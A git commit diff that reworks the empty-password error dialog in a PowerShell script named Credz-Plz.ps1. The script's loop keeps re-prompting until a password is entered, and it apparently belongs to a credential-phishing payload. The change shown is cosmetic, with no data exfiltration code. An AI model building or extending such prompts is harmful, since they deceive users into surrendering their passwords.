Merge pull request #47 from Kavitate/main

Updated Credz-Plz.ps1
This commit is contained in:
I-Am-Jakoby 2023-01-11 21:24:16 -06:00 committed by GitHub
commit 7fdca95f91
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -62,7 +62,13 @@ while ($form -eq $null)
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
{
[System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!")
Add-Type -AssemblyName PresentationCore,PresentationFramework
$msgBody = "Credentials cannot be empty!"
$msgTitle = "Error"
$msgButton = 'Ok'
$msgImage = 'Stop'
$Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
Write-Host "The user clicked: $Result"
$form = $null
}